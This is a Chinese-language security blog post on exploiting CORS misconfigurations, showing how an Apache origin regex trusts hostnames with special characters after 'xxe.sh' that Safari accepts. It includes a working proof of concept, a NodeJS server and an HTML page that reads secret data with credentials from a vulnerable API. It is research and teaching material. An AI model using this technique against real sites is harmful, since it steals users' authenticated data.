最炫CORS利用技术，你不看看嘛( 二 ) _CORS

文章插图

价值百万美元的问题：
在利用CORS Misconfigurations时， Safari如何处理特殊字符？
以下面的Apache配置为例：

SetEnvIf Origin "^https?://(.*.)?xxe.sh([^.-a-zA-Z0-9]+.*)?"
AccessControlAllowOrigin=$0 Header set Access-Control-Allow-Origin %
{AccessControlAllowOrigin}e env=AccessControlAllowOrigin

实现从xxe.sh ，所有子域以及这些域上的任何端口进行跨域访问。
下面是正则表达式的分解：

[^.-a-zA-Z0-9] = 不匹配这些字符:"." "-" "a-z" "A-Z" "0-9" + = 匹配次数：匹配上面的
字符一次或无数次 .* = 除行终止符之外的任意字符

这个API无法访问前面例子中的域，并且其他常见的绕过方法也无济于事。针对*.xxe.sh的子域接管或XSS攻击，只能用来窃取数据，但是，我们可以在此基础上发挥创造性！
我们知道，任何诸如*.xxe.sh后跟字符. – a-z A-Z 0-9的域名都是不会被信任的，但是，在字符串"xxe.sh"之后有空格的域名的情况又如何呢？

文章插图

我们看到它是被信任的，但是任何普通浏览器都不支持这样的域。
由于正则表达式匹配字母数字ASCII字符以及. - ，所以， "xxe.sh"之后的特殊字符是被信任的：

文章插图

这种域名在现代通用浏览器Safari中被支持。
利用先决条件：

具有泛解析记录的域指向您的机器。
NodeJS

和大多数浏览器一样， Apache和Nginx也不喜欢这些特殊字符，所以使用NodeJS为html和JavaScript提供服务更容易。
[+] serve.js

var http = require('http'); var url = require('url'); var fs   = require('fs');var port = 80 http.createServer(function(req, res) {     if (req.url == '/cors-poc') {         fs.readFile('cors.html', function(err, data) {            res.writeHead(200, {'Content-Type':'text/html'});             res.write(data);            res.end();         });     } else {         res.writeHead(200,{'Content-Type':'text/html'});         res.write('never gonna give you up...');        res.end();     } }).listen(port, '0.0.0.0'); console.log(`Serving onport ${port}`);

在同一个目录中，保存以下内容：
[+] cors.html

<!DOCTYPE html> <html> <head><title>CORS</title></head> <body onload="cors();"><center> cors proof-of-concept:<br><br> <textarea rows="10" cols="60" id="pwnz"></textarea><br> </div> <script> function cors() { var xhttp = newXMLHttpRequest(); xhttp.onreadystatechange = function() { if(this.readyState == 4 && this.status == 200) {document.getElementById("pwnz").innerHTML = this.responseText; } };xhttp.open("GET", "http://x.xxe.sh/api/secret-data/", true);xhttp.withCredentials = true; xhttp.send(); } </script>

通过运行以下命令来启动NodeJS服务器：
node serve.js &正如之前所述，由于正则表达式与字母数字ASCII字符和. -相匹配，所以， "xxe.sh"之后的特殊字符将获得信任：
因此，如果我们打开Safari并访问http://x.xxe.sh{./cors-poc ，就能够成功地从易受攻击的端点中窃取数据。